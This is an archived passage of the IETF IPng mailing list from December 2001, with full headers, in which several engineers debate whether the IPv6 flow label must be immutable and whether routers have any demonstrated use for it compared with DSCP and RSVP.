(Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <4.3.2.7.2.20011224090416.00b585c0@atalanta.ctd.anl.gov> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk One more question. Does immutable flow label also imply that flow remapping is not supported ? if so how is that going to be enforced - it seems to be impossible to do that. Even the source and destination IP addresses can be mutated (or changed), right ? NAT is an example in IPv4. Subrata -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Richard Carlson Sent: Monday, December 24, 2001 7:12 AM To: Robert Elz; Michael Thomas Cc: Hesham Soliman (ERA); jarno.rajahalme@nokia.com; Francis.Dupont@enst-bretagne.fr; brian@hursley.ibm.com; ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Robert; How would a receiving host, or the egress router, determine that the FL in the arriving packet needs to be reset back to the original value? Unless you can make this happen, the e2e aspect is lost and we're back to the same state, the receiver can't tell if the network changed the FL or not. So I agree with Tony, the FL needs to remain immutable and even 1 mutable value destroys its value. Rich At 06:43 PM 12/22/01 +0700, Robert Elz wrote: > Date: Fri, 21 Dec 2001 10:18:27 -0800 (PST) > From: Michael Thomas > Message-ID: <15395.31987.240571.416493@thomasm-u1.cisco.com> > > | Um, no. I don't want my telephant's local policy -- > >Then leave them - they'll never learn as long as people just accept it. > > | Yes, yes, big deal. They wanted to support > | first hop rewrite, it got a negative reaction > | and from what I can tell they're not wedded to > | that piece. Do you actually disagree, or are > | you just being argumentative? > >I am trying to find out what the actual harm would be in reserving exactly >one value for the flow-id field with a meaning defined as "I don't care if >this is altered by the network for its purposes". No-one would have to >use that value if they cared about immutability - just use some different >one. So far, I see no evidence of harm at all - nothing more than >queasiness at the thought of the network altering anything in a packet, >even when the source host has said it is OK for it to be altered (I'm not >sure how you cope with the hop limit field, or source routing). > >Unless someone can show that some actual harm can be caused by by this, >then I'm finding it hard to understand why anyone would want to prohibit it. >It all seems to be a case of "I would never want to use this, therefore >you are not allowed to use it either". > >kre > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- ------------------------------------ Richard A. Carlson e-mail: RACarlson@anl.gov Network Research Section phone: (630) 252-7289 Argonne National Laboratory fax: (630) 252-4021 9700 Cass Ave. S. Argonne, IL 60439 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 15:27:17 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBONRHZR015731 for ; Mon, 24 Dec 2001 15:27:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBONRHT6015730 for ipng-dist; Mon, 24 Dec 2001 15:27:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBONREZR015723 for ; Mon, 24 Dec 2001 15:27:14 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA12769 for ; Mon, 24 Dec 2001 15:27:15 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA03015 for ; Mon, 24 Dec 2001 16:26:56 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBONRDY03301; Mon, 24 Dec 2001 15:27:13 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO59297; Mon, 24 Dec 2001 15:26:39 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA07837; Mon, 24 Dec 2001 15:27:12 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15399.47568.627426.907205@thomasm-u1.cisco.com> Date: Mon, 24 Dec 2001 15:27:12 -0800 (PST) To: "Perry E. Metzger" Cc: ipng@sunroof.eng.sun.com Subject: Flow Label In-Reply-To: <87pu54msw4.fsf@snark.piermont.com> References: <87pu54msw4.fsf@snark.piermont.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perry E. Metzger writes: > > Am I correct in saying that, at this point, the flow label is at most > a way for intermediate routers to avoid layer violations, since a flow > is immutable and is properly given as a tuple? Yes. > One must ask what kind of layer violations this is intended to > stop, and what the purpose of those layer violations is. Generally > speaking, routers only reach in to the lower layers to determine how > to differentiate traffic between two hosts for purposes of > prioritization. UDP ports in ESP encrypted payloads. Tunnels inside tunnels inside tunnels inside tunnels. New protocols which may not even have abstracted ports. New Protocols period. TCAM widths that lose to Moore's Law. Need I go on? > If it is intended to stop routers looking at the different layers to > prioritize traffic, it is a failure, since the flow label tells an > intermediate router nothing it needs to know to prioritize traffic > other than "this is flow #N". You can't decided "hmm, interactive > traffic -- better bump that above bulk file transfer" based on the > flow label. At best, you can use the flow label for doing something > like penalizing flows with non-friendly flow control > characteristics. RSVP is your friend. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 15:48:56 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBONmuZR015756 for ; Mon, 24 Dec 2001 15:48:56 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBONmuRr015755 for ipng-dist; Mon, 24 Dec 2001 15:48:56 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBONmqZR015748 for ; Mon, 24 Dec 2001 15:48:52 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA13964 for ; Mon, 24 Dec 2001 15:48:53 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA07439 for ; Mon, 24 Dec 2001 15:48:52 -0800 (PST) Received: by snark.piermont.com (Postfix, from userid 1000) id 0E1BCD97CE; Mon, 24 Dec 2001 18:48:51 -0500 (EST) From: "Perry E. Metzger" To: Michael Thomas Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> Date: 24 Dec 2001 18:48:50 -0500 In-Reply-To: <15399.47568.627426.907205@thomasm-u1.cisco.com> Message-ID: <87wuzci3h9.fsf@snark.piermont.com> Lines: 47 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas writes: > > One must ask what kind of layer violations this is intended to > > stop, and what the purpose of those layer violations is. Generally > > speaking, routers only reach in to the lower layers to determine how > > to differentiate traffic between two hosts for purposes of > > prioritization. > > UDP ports in ESP encrypted payloads. Tunnels inside > tunnels inside tunnels inside tunnels. New protocols > which may not even have abstracted ports. New Protocols > period. TCAM widths that lose to Moore's Law. > > Need I go on? Yes, you need to go on. For the most part, I'm not sure this is going work out. As I note, we've already deployed. Windows XP and such aren't going to be obeying any of this, so the routers have to look at the contents of the packets anyway. For many of the protocols we're dealing with here (such as tunnels inside tunnels) it isn't clear there is a clean way for the mechanisms to actually extract an appropriate flow label under the new definition, and, most importantly, as I noted earlier, you can't figure out how to prioritize traffic using the flow label anyway. > > If it is intended to stop routers looking at the different layers to > > prioritize traffic, it is a failure, since the flow label tells an > > intermediate router nothing it needs to know to prioritize traffic > > other than "this is flow #N". You can't decided "hmm, interactive > > traffic -- better bump that above bulk file transfer" based on the > > flow label. At best, you can use the flow label for doing something > > like penalizing flows with non-friendly flow control > > characteristics. > > RSVP is your friend. The century that RSVP is implemented and deployed I'm sure it will be used, at least once in a while. (I don't expect our descendants to see that day, but...) Meanwhile, in practice what people tend to do on things like congested leaf routers is prioritize based on traffic type. -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 16:10:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP0AmZR015988 for ; Mon, 24 Dec 2001 16:10:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBP0AmfT015987 for ipng-dist; Mon, 24 Dec 2001 16:10:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP0AjZR015980 for ; Mon, 24 Dec 2001 16:10:45 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA07538 for ; Mon, 24 Dec 2001 16:10:47 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA08603 for ; Mon, 24 Dec 2001 17:10:46 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fBP0Aix27345; Mon, 24 Dec 2001 16:10:44 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO59381; Mon, 24 Dec 2001 16:10:11 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA07848; Mon, 24 Dec 2001 16:10:44 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15399.50180.243725.647302@thomasm-u1.cisco.com> Date: Mon, 24 Dec 2001 16:10:44 -0800 (PST) To: "Perry E. Metzger" Cc: Michael Thomas , ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-Reply-To: <87wuzci3h9.fsf@snark.piermont.com> References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk If you don't believe in signaled QoS, you don't believe in any use of a flow label qua flow label. Fine; many people don't. For those people, you have the DSCP and the luck of the draw. It's infinitely mutable, etc, etc. Be happy because there's nothing to be done here. And XP can make flow labels along with DSCP's as soon as the current or next gen worm is done rewriting their kernels. Mike Perry E. Metzger writes: > > Michael Thomas writes: > > > One must ask what kind of layer violations this is intended to > > > stop, and what the purpose of those layer violations is. Generally > > > speaking, routers only reach in to the lower layers to determine how > > > to differentiate traffic between two hosts for purposes of > > > prioritization. > > > > UDP ports in ESP encrypted payloads. Tunnels inside > > tunnels inside tunnels inside tunnels. New protocols > > which may not even have abstracted ports. New Protocols > > period. TCAM widths that lose to Moore's Law. > > > > Need I go on? > > Yes, you need to go on. For the most part, I'm not sure this is going > work out. As I note, we've already deployed. Windows XP and such > aren't going to be obeying any of this, so the routers have to look at > the contents of the packets anyway. For many of the protocols we're > dealing with here (such as tunnels inside tunnels) it isn't clear > there is a clean way for the mechanisms to actually extract an > appropriate flow label under the new definition, and, most > importantly, as I noted earlier, you can't figure out how to > prioritize traffic using the flow label anyway. > > > > If it is intended to stop routers looking at the different layers to > > > prioritize traffic, it is a failure, since the flow label tells an > > > intermediate router nothing it needs to know to prioritize traffic > > > other than "this is flow #N". You can't decided "hmm, interactive > > > traffic -- better bump that above bulk file transfer" based on the > > > flow label. At best, you can use the flow label for doing something > > > like penalizing flows with non-friendly flow control > > > characteristics. > > > > RSVP is your friend. > > The century that RSVP is implemented and deployed I'm sure it will be > used, at least once in a while. (I don't expect our descendants to see > that day, but...) > > Meanwhile, in practice what people tend to do on things like congested > leaf routers is prioritize based on traffic type. > > -- > Perry E. Metzger perry@wasabisystems.com > -- > NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 16:27:33 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP0RXZR016057 for ; Mon, 24 Dec 2001 16:27:33 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBP0RXZG016056 for ipng-dist; Mon, 24 Dec 2001 16:27:33 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP0RTZR016049 for ; Mon, 24 Dec 2001 16:27:29 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA29985 for ; Mon, 24 Dec 2001 16:27:31 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA10927 for ; Mon, 24 Dec 2001 17:27:30 -0700 (MST) Received: by snark.piermont.com (Postfix, from userid 1000) id A8BA7D97CE; Mon, 24 Dec 2001 19:27:29 -0500 (EST) From: "Perry E. Metzger" To: Michael Thomas Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> Date: 24 Dec 2001 19:27:29 -0500 In-Reply-To: <15399.50180.243725.647302@thomasm-u1.cisco.com> Message-ID: <87666wi1ou.fsf@snark.piermont.com> Lines: 25 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas writes: > If you don't believe in signaled QoS, you don't > believe in any use of a flow label qua flow label. I thought we had a "traffic class" to permit "signaled QoS" for some value of "signaled QoS". I was unaware flow labels were intended for this purpose. > And XP can make flow labels along with DSCP's as > soon as the current or next gen worm is done > rewriting their kernels. I'm an old fashioned kind of engineer. I'd like to see some folks from router vendors give us precise information about the *exact* use they'll put the flow label information to, and quantitative information about how much better it will be for them to have the flow label than not to have it. Engineering by committee is bad enough -- engineering by committee and by hearsay simultaneously is far worse. Perry -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 16:49:13 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP0nCZR016087 for ; Mon, 24 Dec 2001 16:49:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBP0nCsU016086 for ipng-dist; Mon, 24 Dec 2001 16:49:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP0n8ZR016079 for ; Mon, 24 Dec 2001 16:49:08 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA01436 for ; Mon, 24 Dec 2001 16:49:10 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA12832 for ; Mon, 24 Dec 2001 17:49:10 -0700 (MST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBP0n1d08852 for ipng@sunroof.eng.sun.com; Mon, 24 Dec 2001 19:49:01 -0500 (EST) Date: Mon, 24 Dec 2001 19:49:01 -0500 (EST) From: Scott Bradner Message-Id: <200112250049.fBP0n1d08852@newdev.harvard.edu> To: ipng@sunroof.eng.sun.com Subject: Re: Flow Label Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I've been watching the discussion over the IPv6 flow label for a while and (like Perry) have yet to see anything I woukd call a real reason to be doing anything with it - specifically I've seen no vendors say what specific use they would put a FL to. I find it hard to see why so much time is being spent on this other than the fear that idle bits are the devil's playground - i.e. the fear of unassigned bits in the header - I'd rather wait until we are real sure that 1/ there is one or more use(s) for the FL that consensus can be reached on, 2/ have some understanding on what the FL characteristics are for those uses Over the last few years I have seen suggestions ranging from the original idea of ofloading router forwarding engines (hard to justify in an era of ASIC-based and network processor-based forwarders, to an ID for the owner of the content of a packet, to QoS lables (which are hard to diferentiate from difserv code points in teh real world), to billing information. None of these have presented a compelling reason to think that we understand any FL use well enough to define anything now. ymmv Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 16:53:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP0roZR016104 for ; Mon, 24 Dec 2001 16:53:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBP0rohv016103 for ipng-dist; Mon, 24 Dec 2001 16:53:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP0rlZR016096 for ; Mon, 24 Dec 2001 16:53:47 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA17939 for ; Mon, 24 Dec 2001 16:53:49 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA17176 for ; Mon, 24 Dec 2001 17:54:42 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBP0rlY19686; Mon, 24 Dec 2001 16:53:47 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO59460; Mon, 24 Dec 2001 16:53:13 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA07855; Mon, 24 Dec 2001 16:53:46 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15399.52762.580187.141948@thomasm-u1.cisco.com> Date: Mon, 24 Dec 2001 16:53:46 -0800 (PST) To: "Perry E. Metzger" Cc: Michael Thomas , ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-Reply-To: <87666wi1ou.fsf@snark.piermont.com> References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perry E. Metzger writes: > > Michael Thomas writes: > > If you don't believe in signaled QoS, you don't > > believe in any use of a flow label qua flow label. > > I thought we had a "traffic class" to permit "signaled QoS" for some > value of "signaled QoS". I was unaware flow labels were intended for > this purpose. DSCP's aren't guaranteed to be end to end. > > And XP can make flow labels along with DSCP's as > > soon as the current or next gen worm is done > > rewriting their kernels. > > I'm an old fashioned kind of engineer. I'd like to see some folks from > router vendors give us precise information about the *exact* use > they'll put the flow label information to, and quantitative > information about how much better it will be for them to have the flow > label than not to have it. Engineering by committee is bad enough -- > engineering by committee and by hearsay simultaneously is far worse. If we want to future proof some of the bits, we can reserve 2 or 4 bits and make 0 be this definition. This is *hardly* a new and unexpected semantics fo the flow label. Indeed, it's seems to be all of the hangwringing over the obvious definition for these bits that has managed to shoot IPv6 in the foot, re fast flow clasification. But I'm not sure what you're asking for. Do you really have any doubt that forming the flow key from fixed postions in the IP6 header is going to not kick butt on chasing down header chains with a half dozen different rules dependent on protocol value to hopefully find a 5 tuple? Yeah, yeah, some (edge) routers will have to do that anyway, but this is *such* a no-brainer for the host that they deserve lousy (degraded) service if they can't be bothered to implement either diffserv or setting flow labels. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 17:20:12 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP1KBZR016136 for ; Mon, 24 Dec 2001 17:20:11 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBP1KBdU016135 for ipng-dist; Mon, 24 Dec 2001 17:20:11 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP1K7ZR016128 for ; Mon, 24 Dec 2001 17:20:07 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA01063 for ; Mon, 24 Dec 2001 17:20:10 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA25512 for ; Mon, 24 Dec 2001 17:20:08 -0800 (PST) Received: by snark.piermont.com (Postfix, from userid 1000) id 8FCCDD97CE; Mon, 24 Dec 2001 20:20:07 -0500 (EST) From: "Perry E. Metzger" To: Michael Thomas Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> Date: 24 Dec 2001 20:20:07 -0500 In-Reply-To: <15399.52762.580187.141948@thomasm-u1.cisco.com> Message-ID: <87sna0gkoo.fsf@snark.piermont.com> Lines: 96 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas writes: > Perry E. Metzger writes: > > > > Michael Thomas writes: > > > If you don't believe in signaled QoS, you don't > > > believe in any use of a flow label qua flow label. > > > > I thought we had a "traffic class" to permit "signaled QoS" for some > > value of "signaled QoS". I was unaware flow labels were intended for > > this purpose. > > DSCP's aren't guaranteed to be end to end. And what does that have to do with the "traffic class" byte in the IPv6 header? > > I'm an old fashioned kind of engineer. I'd like to see some folks from > > router vendors give us precise information about the *exact* use > > they'll put the flow label information to, and quantitative > > information about how much better it will be for them to have the flow > > label than not to have it. Engineering by committee is bad enough -- > > engineering by committee and by hearsay simultaneously is far worse. > > If we want to future proof some of the bits, > we can reserve 2 or 4 bits and make 0 be > this definition. This is *hardly* a new and > unexpected semantics fo the flow label. All you're doing is saying "we can afford to waste the bits". Fine. I don't care about the bits. Can we afford to waste the time writing code that doesn't help anything? Repeating, I'd like to see evidence that we actually are going to have a benefit from doing this work. > Indeed, > it's seems to be all of the hangwringing over > the obvious definition for these bits that > has managed to shoot IPv6 in the foot, re > fast flow clasification. There isn't a flow label in IPv4 and it seems to be well deployed. > But I'm not sure what you're asking for. > Do you really have any doubt that forming > the flow key from fixed postions in the > IP6 header is going to not kick butt on > chasing down header chains with a half > dozen different rules dependent on protocol > value to hopefully find a 5 tuple? Yes, I have substantial doubts on this. First of all, people already have silicon that does this astonishingly fast. Second of all, they don't yet have silicon that will do anything with the "flow label" and it will be years before they could have deployed hardware like that. Third, they'd have to chase down the header chains anyway, because stuff like XP isn't going away. (In other words, we've deployed, it is too late.) Fourth, I have yet to see any real explanation of what this is going to do for people in practice. Repeating my earlier request: I'm an old fashioned kind of engineer. I'd like to see some folks from router vendors give us precise information about the *exact* use they'll put the flow label information to, and quantitative information about how much better it will be for them to have the flow label than not to have it. Engineering by committee is bad enough -- engineering by committee and by hearsay simultaneously is far 